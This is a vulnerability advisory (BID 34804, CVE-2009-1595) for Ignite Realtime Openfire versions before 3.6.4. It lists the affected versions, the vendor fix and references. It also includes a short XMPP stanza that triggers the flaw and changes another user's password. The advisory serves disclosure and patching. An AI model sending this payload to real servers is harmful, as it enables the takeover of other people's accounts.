Openfire jabber:iq:auth 'passwd_change' Remote Password Change Vulnerability
BID:34804
Info
Openfire jabber:iq:auth 'passwd_change' Remote Password Change Vulnerability
| Bugtraq ID: | 34804 |
| Class: | Access Validation Error |
| CVE: |
CVE-2009-1595 CVE-2009-1596 |
| Remote: | Yes |
| Local: | No |
| Published: | May 04 2009 12:00AM |
| Updated: | Mar 19 2015 09:03AM |
| Credit: | Daryl Herzmann |
| Vulnerable: |
Ignite Realtime Openfire 3.6.3 Ignite Realtime Openfire 3.6.2 Ignite Realtime Openfire 3.5.2 Ignite Realtime Openfire 3.5.1 Ignite Realtime Openfire 3.5 Ignite Realtime Openfire 3.4.5 Ignite Realtime Openfire 3.4.4 Ignite Realtime Openfire 3.4.3 Ignite Realtime Openfire 3.4.2 Ignite Realtime Openfire 3.4.1 Ignite Realtime Openfire 3.4 Ignite Realtime Openfire 3.3.1 Ignite Realtime Openfire 3.3 Ignite Realtime Openfire 3.6.0a Gentoo Linux |
| Not Vulnerable: |
Ignite Realtime Openfire 3.6.4 |
Discussion
Openfire jabber:iq:auth 'passwd_change' Remote Password Change Vulnerability
Openfire is prone to a vulnerability that can permit an attacker to change the password of arbitrary users.
Exploiting this issue can allow the attacker to gain unauthorized access to the affected application and to completely compromise victims' accounts.
Versions prior to Openfire 3.6.4 are vulnerable.
Openfire is prone to a vulnerability that can permit an attacker to change the password of arbitrary users.
Exploiting this issue can allow the attacker to gain unauthorized access to the affected application and to completely compromise victims' accounts.
Versions prior to Openfire 3.6.4 are vulnerable.
Exploit / POC
Openfire jabber:iq:auth 'passwd_change' Remote Password Change Vulnerability
The following example data is sufficient to trigger this issue:
<iq type='set' id='passwd_change'>
<query xmlns='jabber:iq:auth'>
<username>test2</username>
<password>newillegalychangedpassword</password>
</query>
</iq>
The following example data is sufficient to trigger this issue:
<iq type='set' id='passwd_change'>
<query xmlns='jabber:iq:auth'>
<username>test2</username>
<password>newillegalychangedpassword</password>
</query>
</iq>
Solution / Fix
Openfire jabber:iq:auth 'passwd_change' Remote Password Change Vulnerability
Solution:
The vendor has released an update. Please see the references for details.
Igniterealtime Openfire 3.6.0a
Igniterealtime Openfire 3.3
Igniterealtime Openfire 3.3.1
Igniterealtime Openfire 3.4
Igniterealtime Openfire 3.4.1
Igniterealtime Openfire 3.4.2
Igniterealtime Openfire 3.4.3
Igniterealtime Openfire 3.4.4
Igniterealtime Openfire 3.4.5
Igniterealtime Openfire 3.5
Igniterealtime Openfire 3.5.1
Igniterealtime Openfire 3.5.2
Igniterealtime Openfire 3.6.2
Igniterealtime Openfire 3.6.3
Solution:
The vendor has released an update. Please see the references for details.
Igniterealtime Openfire 3.6.0a
-
Ignite Realtime openfire_3_6_4.tar.gz
http://www.igniterealtime.org/downloads/download-landing.jsp?file=open fire/openfire_3_6_4.tar.gz
Igniterealtime Openfire 3.3
-
Ignite Realtime openfire_3_6_4.tar.gz
http://www.igniterealtime.org/downloads/download-landing.jsp?file=open fire/openfire_3_6_4.tar.gz
Igniterealtime Openfire 3.3.1
-
Ignite Realtime openfire_3_6_4.tar.gz
http://www.igniterealtime.org/downloads/download-landing.jsp?file=open fire/openfire_3_6_4.tar.gz
Igniterealtime Openfire 3.4
-
Ignite Realtime openfire_3_6_4.tar.gz
http://www.igniterealtime.org/downloads/download-landing.jsp?file=open fire/openfire_3_6_4.tar.gz
Igniterealtime Openfire 3.4.1
-
Ignite Realtime openfire_3_6_4.tar.gz
http://www.igniterealtime.org/downloads/download-landing.jsp?file=open fire/openfire_3_6_4.tar.gz
Igniterealtime Openfire 3.4.2
-
Ignite Realtime openfire_3_6_4.tar.gz
http://www.igniterealtime.org/downloads/download-landing.jsp?file=open fire/openfire_3_6_4.tar.gz
Igniterealtime Openfire 3.4.3
-
Ignite Realtime openfire_3_6_4.tar.gz
http://www.igniterealtime.org/downloads/download-landing.jsp?file=open fire/openfire_3_6_4.tar.gz
Igniterealtime Openfire 3.4.4
-
Ignite Realtime openfire_3_6_4.tar.gz
http://www.igniterealtime.org/downloads/download-landing.jsp?file=open fire/openfire_3_6_4.tar.gz
Igniterealtime Openfire 3.4.5
-
Ignite Realtime openfire_3_6_4.tar.gz
http://www.igniterealtime.org/downloads/download-landing.jsp?file=open fire/openfire_3_6_4.tar.gz
Igniterealtime Openfire 3.5
-
Ignite Realtime openfire_3_6_4.tar.gz
http://www.igniterealtime.org/downloads/download-landing.jsp?file=open fire/openfire_3_6_4.tar.gz
Igniterealtime Openfire 3.5.1
-
Ignite Realtime openfire_3_6_4.tar.gz
http://www.igniterealtime.org/downloads/download-landing.jsp?file=open fire/openfire_3_6_4.tar.gz
Igniterealtime Openfire 3.5.2
-
Ignite Realtime openfire_3_6_4.tar.gz
http://www.igniterealtime.org/downloads/download-landing.jsp?file=open fire/openfire_3_6_4.tar.gz
Igniterealtime Openfire 3.6.2
-
Ignite Realtime openfire_3_6_4.tar.gz
http://www.igniterealtime.org/downloads/download-landing.jsp?file=open fire/openfire_3_6_4.tar.gz
Igniterealtime Openfire 3.6.3
-
Ignite Realtime openfire_3_6_4.tar.gz
http://www.igniterealtime.org/downloads/download-landing.jsp?file=open fire/openfire_3_6_4.tar.gz
References
Openfire jabber:iq:auth 'passwd_change' Remote Password Change Vulnerability
References:
References:
- JM-1531 Prevent users from changing other users passwords (Daryl Herzmann)
- JM-1532 Openfire does not honor option to stop password changes (Daryl Herzmann)
- Openfire Changelog (Ignite Realtime)
- Openfire Homepage (Ignite Realtime)